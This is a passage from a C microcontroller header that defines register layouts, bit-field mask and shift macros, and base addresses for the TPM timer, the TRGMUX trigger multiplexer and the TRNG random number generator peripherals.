#define TPM_TRIG_TRIG1(x) (((uint32_t)(((uint32_t)(x)) << TPM_TRIG_TRIG1_SHIFT)) & TPM_TRIG_TRIG1_MASK)
#define TPM_TRIG_TRIG2_MASK (0x4U)
#define TPM_TRIG_TRIG2_SHIFT (2U)
#define TPM_TRIG_TRIG2(x) (((uint32_t)(((uint32_t)(x)) << TPM_TRIG_TRIG2_SHIFT)) & TPM_TRIG_TRIG2_MASK)
#define TPM_TRIG_TRIG3_MASK (0x8U)
#define TPM_TRIG_TRIG3_SHIFT (3U)
#define TPM_TRIG_TRIG3(x) (((uint32_t)(((uint32_t)(x)) << TPM_TRIG_TRIG3_SHIFT)) & TPM_TRIG_TRIG3_MASK)
#define TPM_TRIG_TRIG4_MASK (0x10U)
#define TPM_TRIG_TRIG4_SHIFT (4U)
#define TPM_TRIG_TRIG4(x) (((uint32_t)(((uint32_t)(x)) << TPM_TRIG_TRIG4_SHIFT)) & TPM_TRIG_TRIG4_MASK)
#define TPM_TRIG_TRIG5_MASK (0x20U)
#define TPM_TRIG_TRIG5_SHIFT (5U)
#define TPM_TRIG_TRIG5(x) (((uint32_t)(((uint32_t)(x)) << TPM_TRIG_TRIG5_SHIFT)) & TPM_TRIG_TRIG5_MASK)
/*! @name POL - Channel Polarity */
#define TPM_POL_POL0_MASK (0x1U)
#define TPM_POL_POL0_SHIFT (0U)
#define TPM_POL_POL0(x) (((uint32_t)(((uint32_t)(x)) << TPM_POL_POL0_SHIFT)) & TPM_POL_POL0_MASK)
#define TPM_POL_POL1_MASK (0x2U)
#define TPM_POL_POL1_SHIFT (1U)
#define TPM_POL_POL1(x) (((uint32_t)(((uint32_t)(x)) << TPM_POL_POL1_SHIFT)) & TPM_POL_POL1_MASK)
#define TPM_POL_POL2_MASK (0x4U)
#define TPM_POL_POL2_SHIFT (2U)
#define TPM_POL_POL2(x) (((uint32_t)(((uint32_t)(x)) << TPM_POL_POL2_SHIFT)) & TPM_POL_POL2_MASK)
#define TPM_POL_POL3_MASK (0x8U)
#define TPM_POL_POL3_SHIFT (3U)
#define TPM_POL_POL3(x) (((uint32_t)(((uint32_t)(x)) << TPM_POL_POL3_SHIFT)) & TPM_POL_POL3_MASK)
#define TPM_POL_POL4_MASK (0x10U)
#define TPM_POL_POL4_SHIFT (4U)
#define TPM_POL_POL4(x) (((uint32_t)(((uint32_t)(x)) << TPM_POL_POL4_SHIFT)) & TPM_POL_POL4_MASK)
#define TPM_POL_POL5_MASK (0x20U)
#define TPM_POL_POL5_SHIFT (5U)
#define TPM_POL_POL5(x) (((uint32_t)(((uint32_t)(x)) << TPM_POL_POL5_SHIFT)) & TPM_POL_POL5_MASK)
/*! @name FILTER - Filter Control */
#define TPM_FILTER_CH0FVAL_MASK (0xFU)
#define TPM_FILTER_CH0FVAL_SHIFT (0U)
#define TPM_FILTER_CH0FVAL(x) (((uint32_t)(((uint32_t)(x)) << TPM_FILTER_CH0FVAL_SHIFT)) & TPM_FILTER_CH0FVAL_MASK)
#define TPM_FILTER_CH1FVAL_MASK (0xF0U)
#define TPM_FILTER_CH1FVAL_SHIFT (4U)
#define TPM_FILTER_CH1FVAL(x) (((uint32_t)(((uint32_t)(x)) << TPM_FILTER_CH1FVAL_SHIFT)) & TPM_FILTER_CH1FVAL_MASK)
#define TPM_FILTER_CH2FVAL_MASK (0xF00U)
#define TPM_FILTER_CH2FVAL_SHIFT (8U)
#define TPM_FILTER_CH2FVAL(x) (((uint32_t)(((uint32_t)(x)) << TPM_FILTER_CH2FVAL_SHIFT)) & TPM_FILTER_CH2FVAL_MASK)
#define TPM_FILTER_CH3FVAL_MASK (0xF000U)
#define TPM_FILTER_CH3FVAL_SHIFT (12U)
#define TPM_FILTER_CH3FVAL(x) (((uint32_t)(((uint32_t)(x)) << TPM_FILTER_CH3FVAL_SHIFT)) & TPM_FILTER_CH3FVAL_MASK)
#define TPM_FILTER_CH4FVAL_MASK (0xF0000U)
#define TPM_FILTER_CH4FVAL_SHIFT (16U)
#define TPM_FILTER_CH4FVAL(x) (((uint32_t)(((uint32_t)(x)) << TPM_FILTER_CH4FVAL_SHIFT)) & TPM_FILTER_CH4FVAL_MASK)
#define TPM_FILTER_CH5FVAL_MASK (0xF00000U)
#define TPM_FILTER_CH5FVAL_SHIFT (20U)
#define TPM_FILTER_CH5FVAL(x) (((uint32_t)(((uint32_t)(x)) << TPM_FILTER_CH5FVAL_SHIFT)) & TPM_FILTER_CH5FVAL_MASK)
/*! @name QDCTRL - Quadrature Decoder Control and Status */
#define TPM_QDCTRL_QUADEN_MASK (0x1U)
#define TPM_QDCTRL_QUADEN_SHIFT (0U)
#define TPM_QDCTRL_QUADEN(x) (((uint32_t)(((uint32_t)(x)) << TPM_QDCTRL_QUADEN_SHIFT)) & TPM_QDCTRL_QUADEN_MASK)
#define TPM_QDCTRL_TOFDIR_MASK (0x2U)
#define TPM_QDCTRL_TOFDIR_SHIFT (1U)
#define TPM_QDCTRL_TOFDIR(x) (((uint32_t)(((uint32_t)(x)) << TPM_QDCTRL_TOFDIR_SHIFT)) & TPM_QDCTRL_TOFDIR_MASK)
#define TPM_QDCTRL_QUADIR_MASK (0x4U)
#define TPM_QDCTRL_QUADIR_SHIFT (2U)
#define TPM_QDCTRL_QUADIR(x) (((uint32_t)(((uint32_t)(x)) << TPM_QDCTRL_QUADIR_SHIFT)) & TPM_QDCTRL_QUADIR_MASK)
#define TPM_QDCTRL_QUADMODE_MASK (0x8U)
#define TPM_QDCTRL_QUADMODE_SHIFT (3U)
#define TPM_QDCTRL_QUADMODE(x) (((uint32_t)(((uint32_t)(x)) << TPM_QDCTRL_QUADMODE_SHIFT)) & TPM_QDCTRL_QUADMODE_MASK)
/*! @name CONF - Configuration */
#define TPM_CONF_DOZEEN_MASK (0x20U)
#define TPM_CONF_DOZEEN_SHIFT (5U)
#define TPM_CONF_DOZEEN(x) (((uint32_t)(((uint32_t)(x)) << TPM_CONF_DOZEEN_SHIFT)) & TPM_CONF_DOZEEN_MASK)
#define TPM_CONF_DBGMODE_MASK (0xC0U)
#define TPM_CONF_DBGMODE_SHIFT (6U)
#define TPM_CONF_DBGMODE(x) (((uint32_t)(((uint32_t)(x)) << TPM_CONF_DBGMODE_SHIFT)) & TPM_CONF_DBGMODE_MASK)
#define TPM_CONF_GTBSYNC_MASK (0x100U)
#define TPM_CONF_GTBSYNC_SHIFT (8U)
#define TPM_CONF_GTBSYNC(x) (((uint32_t)(((uint32_t)(x)) << TPM_CONF_GTBSYNC_SHIFT)) & TPM_CONF_GTBSYNC_MASK)
#define TPM_CONF_GTBEEN_MASK (0x200U)
#define TPM_CONF_GTBEEN_SHIFT (9U)
#define TPM_CONF_GTBEEN(x) (((uint32_t)(((uint32_t)(x)) << TPM_CONF_GTBEEN_SHIFT)) & TPM_CONF_GTBEEN_MASK)
#define TPM_CONF_CSOT_MASK (0x10000U)
#define TPM_CONF_CSOT_SHIFT (16U)
#define TPM_CONF_CSOT(x) (((uint32_t)(((uint32_t)(x)) << TPM_CONF_CSOT_SHIFT)) & TPM_CONF_CSOT_MASK)
#define TPM_CONF_CSOO_MASK (0x20000U)
#define TPM_CONF_CSOO_SHIFT (17U)
#define TPM_CONF_CSOO(x) (((uint32_t)(((uint32_t)(x)) << TPM_CONF_CSOO_SHIFT)) & TPM_CONF_CSOO_MASK)
#define TPM_CONF_CROT_MASK (0x40000U)
#define TPM_CONF_CROT_SHIFT (18U)
#define TPM_CONF_CROT(x) (((uint32_t)(((uint32_t)(x)) << TPM_CONF_CROT_SHIFT)) & TPM_CONF_CROT_MASK)
#define TPM_CONF_CPOT_MASK (0x80000U)
#define TPM_CONF_CPOT_SHIFT (19U)
#define TPM_CONF_CPOT(x) (((uint32_t)(((uint32_t)(x)) << TPM_CONF_CPOT_SHIFT)) & TPM_CONF_CPOT_MASK)
#define TPM_CONF_TRGPOL_MASK (0x400000U)
#define TPM_CONF_TRGPOL_SHIFT (22U)
#define TPM_CONF_TRGPOL(x) (((uint32_t)(((uint32_t)(x)) << TPM_CONF_TRGPOL_SHIFT)) & TPM_CONF_TRGPOL_MASK)
#define TPM_CONF_TRGSRC_MASK (0x800000U)
#define TPM_CONF_TRGSRC_SHIFT (23U)
#define TPM_CONF_TRGSRC(x) (((uint32_t)(((uint32_t)(x)) << TPM_CONF_TRGSRC_SHIFT)) & TPM_CONF_TRGSRC_MASK)
#define TPM_CONF_TRGSEL_MASK (0x3000000U)
#define TPM_CONF_TRGSEL_SHIFT (24U)
#define TPM_CONF_TRGSEL(x) (((uint32_t)(((uint32_t)(x)) << TPM_CONF_TRGSEL_SHIFT)) & TPM_CONF_TRGSEL_MASK)
/*!
* @}
*/ /* end of group TPM_Register_Masks */
/* TPM - Peripheral instance base addresses */
/** Peripheral TPM0 base address */
#define TPM0_BASE (0x400AC000u)
/** Peripheral TPM0 base pointer */
#define TPM0 ((TPM_Type *)TPM0_BASE)
/** Peripheral TPM1 base address */
#define TPM1_BASE (0x400AD000u)
/** Peripheral TPM1 base pointer */
#define TPM1 ((TPM_Type *)TPM1_BASE)
/** Peripheral TPM2 base address */
#define TPM2_BASE (0x4002E000u)
/** Peripheral TPM2 base pointer */
#define TPM2 ((TPM_Type *)TPM2_BASE)
/** Array initializer of TPM peripheral base addresses */
#define TPM_BASE_ADDRS { TPM0_BASE, TPM1_BASE, TPM2_BASE }
/** Array initializer of TPM peripheral base pointers */
#define TPM_BASE_PTRS { TPM0, TPM1, TPM2 }
/** Interrupt vectors for the TPM peripheral type */
#define TPM_IRQS { TPM0_IRQn, TPM1_IRQn, TPM2_IRQn }
/*!
* @}
*/ /* end of group TPM_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- TRGMUX Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup TRGMUX_Peripheral_Access_Layer TRGMUX Peripheral Access Layer
* @{
*/
/** TRGMUX - Register Layout Typedef */
typedef struct {
__IO uint32_t TRGCFG[16]; /**< TRGMUX TRGCFG Register, array offset: 0x0, array step: 0x4 */
} TRGMUX_Type;
/* ----------------------------------------------------------------------------
-- TRGMUX Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup TRGMUX_Register_Masks TRGMUX Register Masks
* @{
*/
/*! @name TRGCFG - TRGMUX TRGCFG Register */
#define TRGMUX_TRGCFG_SEL0_MASK (0x3FU)
#define TRGMUX_TRGCFG_SEL0_SHIFT (0U)
#define TRGMUX_TRGCFG_SEL0(x) (((uint32_t)(((uint32_t)(x)) << TRGMUX_TRGCFG_SEL0_SHIFT)) & TRGMUX_TRGCFG_SEL0_MASK)
#define TRGMUX_TRGCFG_SEL1_MASK (0x3F00U)
#define TRGMUX_TRGCFG_SEL1_SHIFT (8U)
#define TRGMUX_TRGCFG_SEL1(x) (((uint32_t)(((uint32_t)(x)) << TRGMUX_TRGCFG_SEL1_SHIFT)) & TRGMUX_TRGCFG_SEL1_MASK)
#define TRGMUX_TRGCFG_SEL2_MASK (0x3F0000U)
#define TRGMUX_TRGCFG_SEL2_SHIFT (16U)
#define TRGMUX_TRGCFG_SEL2(x) (((uint32_t)(((uint32_t)(x)) << TRGMUX_TRGCFG_SEL2_SHIFT)) & TRGMUX_TRGCFG_SEL2_MASK)
#define TRGMUX_TRGCFG_SEL3_MASK (0x3F000000U)
#define TRGMUX_TRGCFG_SEL3_SHIFT (24U)
#define TRGMUX_TRGCFG_SEL3(x) (((uint32_t)(((uint32_t)(x)) << TRGMUX_TRGCFG_SEL3_SHIFT)) & TRGMUX_TRGCFG_SEL3_MASK)
#define TRGMUX_TRGCFG_LK_MASK (0x80000000U)
#define TRGMUX_TRGCFG_LK_SHIFT (31U)
#define TRGMUX_TRGCFG_LK(x) (((uint32_t)(((uint32_t)(x)) << TRGMUX_TRGCFG_LK_SHIFT)) & TRGMUX_TRGCFG_LK_MASK)
/* The count of TRGMUX_TRGCFG */
#define TRGMUX_TRGCFG_COUNT (16U)
/*!
* @}
*/ /* end of group TRGMUX_Register_Masks */
/* TRGMUX - Peripheral instance base addresses */
/** Peripheral TRGMUX0 base address */
#define TRGMUX0_BASE (0x40027000u)
/** Peripheral TRGMUX0 base pointer */
#define TRGMUX0 ((TRGMUX_Type *)TRGMUX0_BASE)
/** Peripheral TRGMUX1 base address */
#define TRGMUX1_BASE (0x400A7000u)
/** Peripheral TRGMUX1 base pointer */
#define TRGMUX1 ((TRGMUX_Type *)TRGMUX1_BASE)
/** Array initializer of TRGMUX peripheral base addresses */
#define TRGMUX_BASE_ADDRS { TRGMUX0_BASE, TRGMUX1_BASE }
/** Array initializer of TRGMUX peripheral base pointers */
#define TRGMUX_BASE_PTRS { TRGMUX0, TRGMUX1 }
#define TRGMUX_INSTANCE_MASK 0xF
#define TRGMUX_INSTANCE_SHIFT 12
#define TRGMUX_PERIPHERAL_MASK 0xFFF
#define TRGMUX_PERIPHERAL_SHIFT 0
#define TRGMUX_INSTANCE_0 0
#define TRGMUX_INSTANCE_1 1
#define TRGMUX_DMAMUX0_INDEX ((uint16_t)((TRGMUX_INSTANCE_0 & TRGMUX_INSTANCE_MASK) << TRGMUX_INSTANCE_SHIFT) | 0)
#define TRGMUX_LPIT0_INDEX ((uint16_t)((TRGMUX_INSTANCE_0 & TRGMUX_INSTANCE_MASK) << TRGMUX_INSTANCE_SHIFT) | 1)
#define TRGMUX_TPM2_INDEX ((uint16_t)((TRGMUX_INSTANCE_0 & TRGMUX_INSTANCE_MASK) << TRGMUX_INSTANCE_SHIFT) | 2)
#define TRGMUX_ADC0_INDEX ((uint16_t)((TRGMUX_INSTANCE_0 & TRGMUX_INSTANCE_MASK) << TRGMUX_INSTANCE_SHIFT) | 4)
#define TRGMUX_LPUART2_INDEX ((uint16_t)((TRGMUX_INSTANCE_0 & TRGMUX_INSTANCE_MASK) << TRGMUX_INSTANCE_SHIFT) | 5)
#define TRGMUX_LPI2C2_INDEX ((uint16_t)((TRGMUX_INSTANCE_0 & TRGMUX_INSTANCE_MASK) << TRGMUX_INSTANCE_SHIFT) | 7)
#define TRGMUX_LPSPI2_INDEX ((uint16_t)((TRGMUX_INSTANCE_0 & TRGMUX_INSTANCE_MASK) << TRGMUX_INSTANCE_SHIFT) | 9)
#define TRGMUX_CMP0_INDEX ((uint16_t)((TRGMUX_INSTANCE_0 & TRGMUX_INSTANCE_MASK) << TRGMUX_INSTANCE_SHIFT) | 11)
#define TRGMUX_CMP1_INDEX ((uint16_t)((TRGMUX_INSTANCE_0 & TRGMUX_INSTANCE_MASK) << TRGMUX_INSTANCE_SHIFT) | 12)
#define TRGMUX_DAC0_INDEX ((uint16_t)((TRGMUX_INSTANCE_0 & TRGMUX_INSTANCE_MASK) << TRGMUX_INSTANCE_SHIFT) | 13)
#define TRGMUX_DMAMUX0 (TRGMUX0->TRGCFG[0])
#define TRGMUX_LPIT0 (TRGMUX0->TRGCFG[1])
#define TRGMUX_TPM2 (TRGMUX0->TRGCFG[2])
#define TRGMUX_ADC0 (TRGMUX0->TRGCFG[4])
#define TRGMUX_LPUART2 (TRGMUX0->TRGCFG[5])
#define TRGMUX_LPI2C2 (TRGMUX0->TRGCFG[7])
#define TRGMUX_LPSPI2 (TRGMUX0->TRGCFG[9])
#define TRGMUX_CMP0 (TRGMUX0->TRGCFG[11])
#define TRGMUX_CMP1 (TRGMUX0->TRGCFG[12])
#define TRGMUX_DAC0 (TRGMUX0->TRGCFG[13])
#define TRGMUX_DMAMUX1_INDEX ((uint16_t)((TRGMUX_INSTANCE_1 & TRGMUX_INSTANCE_MASK) << TRGMUX_INSTANCE_SHIFT) | 0)
#define TRGMUX_LPIT1_INDEX ((uint16_t)((TRGMUX_INSTANCE_1 & TRGMUX_INSTANCE_MASK) << TRGMUX_INSTANCE_SHIFT) | 1)
#define TRGMUX_TPM0_INDEX ((uint16_t)((TRGMUX_INSTANCE_1 & TRGMUX_INSTANCE_MASK) << TRGMUX_INSTANCE_SHIFT) | 2)
#define TRGMUX_TPM1_INDEX ((uint16_t)((TRGMUX_INSTANCE_1 & TRGMUX_INSTANCE_MASK) << TRGMUX_INSTANCE_SHIFT) | 3)
#define TRGMUX_FLEXIO_INDEX ((uint16_t)((TRGMUX_INSTANCE_1 & TRGMUX_INSTANCE_MASK) << TRGMUX_INSTANCE_SHIFT) | 4)
#define TRGMUX_LPUART0_INDEX ((uint16_t)((TRGMUX_INSTANCE_1 & TRGMUX_INSTANCE_MASK) << TRGMUX_INSTANCE_SHIFT) | 5)
#define TRGMUX_LPUART1_INDEX ((uint16_t)((TRGMUX_INSTANCE_1 & TRGMUX_INSTANCE_MASK) << TRGMUX_INSTANCE_SHIFT) | 6)
#define TRGMUX_LPI2C0_INDEX ((uint16_t)((TRGMUX_INSTANCE_1 & TRGMUX_INSTANCE_MASK) << TRGMUX_INSTANCE_SHIFT) | 7)
#define TRGMUX_LPI2C1_INDEX ((uint16_t)((TRGMUX_INSTANCE_1 & TRGMUX_INSTANCE_MASK) << TRGMUX_INSTANCE_SHIFT) | 8)
#define TRGMUX_LPSPI0_INDEX ((uint16_t)((TRGMUX_INSTANCE_1 & TRGMUX_INSTANCE_MASK) << TRGMUX_INSTANCE_SHIFT) | 9)
#define TRGMUX_LPSPI1_INDEX ((uint16_t)((TRGMUX_INSTANCE_1 & TRGMUX_INSTANCE_MASK) << TRGMUX_INSTANCE_SHIFT) | 10)
#define TRGMUX_DMAMUX1 (TRGMUX1->TRGCFG[0])
#define TRGMUX_LPIT1 (TRGMUX1->TRGCFG[1])
#define TRGMUX_TPM0 (TRGMUX1->TRGCFG[2])
#define TRGMUX_TPM1 (TRGMUX1->TRGCFG[3])
#define TRGMUX_FLEXIO (TRGMUX1->TRGCFG[4])
#define TRGMUX_LPUART0 (TRGMUX1->TRGCFG[5])
#define TRGMUX_LPUART1 (TRGMUX1->TRGCFG[6])
#define TRGMUX_LPI2C0 (TRGMUX1->TRGCFG[7])
#define TRGMUX_LPI2C1 (TRGMUX1->TRGCFG[8])
#define TRGMUX_LPSPI0 (TRGMUX1->TRGCFG[9])
#define TRGMUX_LPSPI1 (TRGMUX1->TRGCFG[10])
/*!
* @}
*/ /* end of group TRGMUX_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- TRNG Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup TRNG_Peripheral_Access_Layer TRNG Peripheral Access Layer
* @{
*/
/** TRNG - Register Layout Typedef */
typedef struct {
__IO uint32_t MCTL; /**< TRNG Miscellaneous Control Register, offset: 0x0 */
__IO uint32_t SCMISC; /**< TRNG Statistical Check Miscellaneous Register, offset: 0x4 */
__IO uint32_t PKRRNG; /**< TRNG Poker Range Register, offset: 0x8 */
union { /* offset: 0xC */
__IO uint32_t PKRMAX; /**< TRNG Poker Maximum Limit Register, offset: 0xC */
__I uint32_t PKRSQ; /**< TRNG Poker Square Calculation Result Register, offset: 0xC */
};
__IO uint32_t SDCTL; /**< TRNG Seed Control Register, offset: 0x10 */
union { /* offset: 0x14 */
__IO uint32_t SBLIM; /**< TRNG Sparse Bit Limit Register, offset: 0x14 */
__I uint32_t TOTSAM; /**< TRNG Total Samples Register, offset: 0x14 */
};
__IO uint32_t FRQMIN; /**< TRNG Frequency Count Minimum Limit Register, offset: 0x18 */
union { /* offset: 0x1C */
__I uint32_t FRQCNT; /**< TRNG Frequency Count Register, offset: 0x1C */
__IO uint32_t FRQMAX; /**< TRNG Frequency Count Maximum Limit Register, offset: 0x1C */
};
union { /* offset: 0x20 */
__I uint32_t SCMC; /**< TRNG Statistical Check Monobit Count Register, offset: 0x20 */
__IO uint32_t SCML; /**< TRNG Statistical Check Monobit Limit Register, offset: 0x20 */
};
union { /* offset: 0x24 */
__I uint32_t SCR1C; /**< TRNG Statistical Check Run Length 1 Count Register, offset: 0x24 */
__IO uint32_t SCR1L; /**< TRNG Statistical Check Run Length 1 Limit Register, offset: 0x24 */
};
union { /* offset: 0x28 */
__I uint32_t SCR2C; /**< TRNG Statistical Check Run Length 2 Count Register, offset: 0x28 */
__IO uint32_t SCR2L; /**< TRNG Statistical Check Run Length 2 Limit Register, offset: 0x28 */
};
union { /* offset: 0x2C */
__I uint32_t SCR3C; /**< TRNG Statistical Check Run Length 3 Count Register, offset: 0x2C */
__IO uint32_t SCR3L; /**< TRNG Statistical Check Run Length 3 Limit Register, offset: 0x2C */
};
union { /* offset: 0x30 */
__I uint32_t SCR4C; /**< TRNG Statistical Check Run Length 4 Count Register, offset: 0x30 */
__IO uint32_t SCR4L; /**< TRNG Statistical Check Run Length 4 Limit Register, offset: 0x30 */
};
union { /* offset: 0x34 */
__I uint32_t SCR5C; /**< TRNG Statistical Check Run Length 5 Count Register, offset: 0x34 */
__IO uint32_t SCR5L; /**< TRNG Statistical Check Run Length 5 Limit Register, offset: 0x34 */
};
union { /* offset: 0x38 */
__I uint32_t SCR6PC; /**< TRNG Statistical Check Run Length 6+ Count Register, offset: 0x38 */
__IO uint32_t SCR6PL; /**< TRNG Statistical Check Run Length 6+ Limit Register, offset: 0x38 */
};
__I uint32_t STATUS; /**< TRNG Status Register, offset: 0x3C */
__I uint32_t ENT[16]; /**< TRNG Entropy Read Register, array offset: 0x40, array step: 0x4 */
__I uint32_t PKRCNT10; /**< TRNG Statistical Check Poker Count 1 and 0 Register, offset: 0x80 */
__I uint32_t PKRCNT32; /**< TRNG Statistical Check Poker Count 3 and 2 Register, offset: 0x84 */
__I uint32_t PKRCNT54; /**< TRNG Statistical Check Poker Count 5 and 4 Register, offset: 0x88 */
__I uint32_t PKRCNT76; /**< TRNG Statistical Check Poker Count 7 and 6 Register, offset: 0x8C */
__I uint32_t PKRCNT98; /**< TRNG Statistical Check Poker Count 9 and 8 Register, offset: 0x90 */
__I uint32_t PKRCNTBA; /**< TRNG Statistical Check Poker Count B and A Register, offset: 0x94 */
__I uint32_t PKRCNTDC; /**< TRNG Statistical Check Poker Count D and C Register, offset: 0x98 */
__I uint32_t PKRCNTFE; /**< TRNG Statistical Check Poker Count F and E Register, offset: 0x9C */
__IO uint32_t SEC_CFG; /**< TRNG Security Configuration Register, offset: 0xA0 */
__IO uint32_t INT_CTRL; /**< TRNG Interrupt Control Register, offset: 0xA4 */
__IO uint32_t INT_MASK; /**< TRNG Mask Register, offset: 0xA8 */
__IO uint32_t INT_STATUS; /**< TRNG Interrupt Status Register, offset: 0xAC */
uint8_t RESERVED_0[64];
__I uint32_t VID1; /**< TRNG Version ID Register (MS), offset: 0xF0 */
__I uint32_t VID2; /**< TRNG Version ID Register (LS), offset: 0xF4 */
} TRNG_Type;
/* ----------------------------------------------------------------------------
-- TRNG Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup TRNG_Register_Masks TRNG Register Masks
* @{
*/
/*! @name MCTL - TRNG Miscellaneous Control Register */
#define TRNG_MCTL_SAMP_MODE_MASK (0x3U)
#define TRNG_MCTL_SAMP_MODE_SHIFT (0U)
#define TRNG_MCTL_SAMP_MODE(x) (((uint32_t)(((uint32_t)(x)) << TRNG_MCTL_SAMP_MODE_SHIFT)) & TRNG_MCTL_SAMP_MODE_MASK)
#define TRNG_MCTL_OSC_DIV_MASK (0xCU)
#define TRNG_MCTL_OSC_DIV_SHIFT (2U)
#define TRNG_MCTL_OSC_DIV(x) (((uint32_t)(((uint32_t)(x)) << TRNG_MCTL_OSC_DIV_SHIFT)) & TRNG_MCTL_OSC_DIV_MASK)
#define TRNG_MCTL_UNUSED_MASK (0x10U)
#define TRNG_MCTL_UNUSED_SHIFT (4U)
#define TRNG_MCTL_UNUSED(x) (((uint32_t)(((uint32_t)(x)) << TRNG_MCTL_UNUSED_SHIFT)) & TRNG_MCTL_UNUSED_MASK)
#define TRNG_MCTL_TRNG_ACC_MASK (0x20U)
#define TRNG_MCTL_TRNG_ACC_SHIFT (5U)
#define TRNG_MCTL_TRNG_ACC(x) (((uint32_t)(((uint32_t)(x)) << TRNG_MCTL_TRNG_ACC_SHIFT)) & TRNG_MCTL_TRNG_ACC_MASK)
#define TRNG_MCTL_RST_DEF_MASK (0x40U)
#define TRNG_MCTL_RST_DEF_SHIFT (6U)
#define TRNG_MCTL_RST_DEF(x) (((uint32_t)(((uint32_t)(x)) << TRNG_MCTL_RST_DEF_SHIFT)) & TRNG_MCTL_RST_DEF_MASK)
#define TRNG_MCTL_FOR_SCLK_MASK (0x80U)
#define TRNG_MCTL_FOR_SCLK_SHIFT (7U)
#define TRNG_MCTL_FOR_SCLK(x) (((uint32_t)(((uint32_t)(x)) << TRNG_MCTL_FOR_SCLK_SHIFT)) & TRNG_MCTL_FOR_SCLK_MASK)
#define TRNG_MCTL_FCT_FAIL_MASK (0x100U)
#define TRNG_MCTL_FCT_FAIL_SHIFT (8U)
#define TRNG_MCTL_FCT_FAIL(x) (((uint32_t)(((uint32_t)(x)) << TRNG_MCTL_FCT_FAIL_SHIFT)) & TRNG_MCTL_FCT_FAIL_MASK)
#define TRNG_MCTL_FCT_VAL_MASK (0x200U)
#define TRNG_MCTL_FCT_VAL_SHIFT (9U)
#define TRNG_MCTL_FCT_VAL(x) (((uint32_t)(((uint32_t)(x)) << TRNG_MCTL_FCT_VAL_SHIFT)) & TRNG_MCTL_FCT_VAL_MASK)
#define TRNG_MCTL_ENT_VAL_MASK (0x400U)
#define TRNG_MCTL_ENT_VAL_SHIFT (10U)
#define TRNG_MCTL_ENT_VAL(x) (((uint32_t)(((uint32_t)(x)) << TRNG_MCTL_ENT_VAL_SHIFT)) & TRNG_MCTL_ENT_VAL_MASK)
#define TRNG_MCTL_TST_OUT_MASK (0x800U)
#define TRNG_MCTL_TST_OUT_SHIFT (11U)
#define TRNG_MCTL_TST_OUT(x) (((uint32_t)(((uint32_t)(x)) << TRNG_MCTL_TST_OUT_SHIFT)) & TRNG_MCTL_TST_OUT_MASK)
#define TRNG_MCTL_ERR_MASK (0x1000U)
#define TRNG_MCTL_ERR_SHIFT (12U)
#define TRNG_MCTL_ERR(x) (((uint32_t)(((uint32_t)(x)) << TRNG_MCTL_ERR_SHIFT)) & TRNG_MCTL_ERR_MASK)
#define TRNG_MCTL_TSTOP_OK_MASK (0x2000U)
#define TRNG_MCTL_TSTOP_OK_SHIFT (13U)
#define TRNG_MCTL_TSTOP_OK(x) (((uint32_t)(((uint32_t)(x)) << TRNG_MCTL_TSTOP_OK_SHIFT)) & TRNG_MCTL_TSTOP_OK_MASK)
#define TRNG_MCTL_PRGM_MASK (0x10000U)
#define TRNG_MCTL_PRGM_SHIFT (16U)
#define TRNG_MCTL_PRGM(x) (((uint32_t)(((uint32_t)(x)) << TRNG_MCTL_PRGM_SHIFT)) & TRNG_MCTL_PRGM_MASK)
/*! @name SCMISC - TRNG Statistical Check Miscellaneous Register */
#define TRNG_SCMISC_LRUN_MAX_MASK (0xFFU)
#define TRNG_SCMISC_LRUN_MAX_SHIFT (0U)
#define TRNG_SCMISC_LRUN_MAX(x) (((uint32_t)(((uint32_t)(x)) << TRNG_SCMISC_LRUN_MAX_SHIFT)) & TRNG_SCMISC_LRUN_MAX_MASK)
#define TRNG_SCMISC_RTY_CT_MASK (0xF0000U)
#define TRNG_SCMISC_RTY_CT_SHIFT (16U)
#define TRNG_SCMISC_RTY_CT(x) (((uint32_t)(((uint32_t)(x)) << TRNG_SCMISC_RTY_CT_SHIFT)) & TRNG_SCMISC_RTY_CT_MASK)
/*! @name PKRRNG - TRNG Poker Range Register */
#define TRNG_PKRRNG_PKR_RNG_MASK (0xFFFFU)
#define TRNG_PKRRNG_PKR_RNG_SHIFT (0U)
#define TRNG_PKRRNG_PKR_RNG(x) (((uint32_t)(((uint32_t)(x)) << TRNG_PKRRNG_PKR_RNG_SHIFT)) & TRNG_PKRRNG_PKR_RNG_MASK)
/*! @name PKRMAX - TRNG Poker Maximum Limit Register */
#define TRNG_PKRMAX_PKR_MAX_MASK (0xFFFFFFU)
#define TRNG_PKRMAX_PKR_MAX_SHIFT (0U)
#define TRNG_PKRMAX_PKR_MAX(x) (((uint32_t)(((uint32_t)(x)) << TRNG_PKRMAX_PKR_MAX_SHIFT)) & TRNG_PKRMAX_PKR_MAX_MASK)
/*! @name PKRSQ - TRNG Poker Square Calculation Result Register */
#define TRNG_PKRSQ_PKR_SQ_MASK (0xFFFFFFU)
#define TRNG_PKRSQ_PKR_SQ_SHIFT (0U)
#define TRNG_PKRSQ_PKR_SQ(x) (((uint32_t)(((uint32_t)(x)) << TRNG_PKRSQ_PKR_SQ_SHIFT)) & TRNG_PKRSQ_PKR_SQ_MASK)
/*! @name SDCTL - TRNG Seed Control Register */
#define TRNG_SDCTL_SAMP_SIZE_MASK (0xFFFFU)
#define TRNG_SDCTL_SAMP_SIZE_SHIFT (0U)
#define TRNG_SDCTL_SAMP_SIZE(x) (((uint32_t)(((uint32_t)(x)) << TRNG_SDCTL_SAMP_SIZE_SHIFT)) & TRNG_SDCTL_SAMP_SIZE_MASK)
#define TRNG_SDCTL_ENT_DLY_MASK (0xFFFF0000U)
#define TRNG_SDCTL_ENT_DLY_SHIFT (16U)
#define TRNG_SDCTL_ENT_DLY(x) (((uint32_t)(((uint32_t)(x)) << TRNG_SDCTL_ENT_DLY_SHIFT)) & TRNG_SDCTL_ENT_DLY_MASK)
/*! @name SBLIM - TRNG Sparse Bit Limit Register */
#define TRNG_SBLIM_SB_LIM_MASK (0x3FFU)
#define TRNG_SBLIM_SB_LIM_SHIFT (0U)
#define TRNG_SBLIM_SB_LIM(x) (((uint32_t)(((uint32_t)(x)) << TRNG_SBLIM_SB_LIM_SHIFT)) & TRNG_SBLIM_SB_LIM_MASK)
/*! @name TOTSAM - TRNG Total Samples Register */
#define TRNG_TOTSAM_TOT_SAM_MASK (0xFFFFFU)
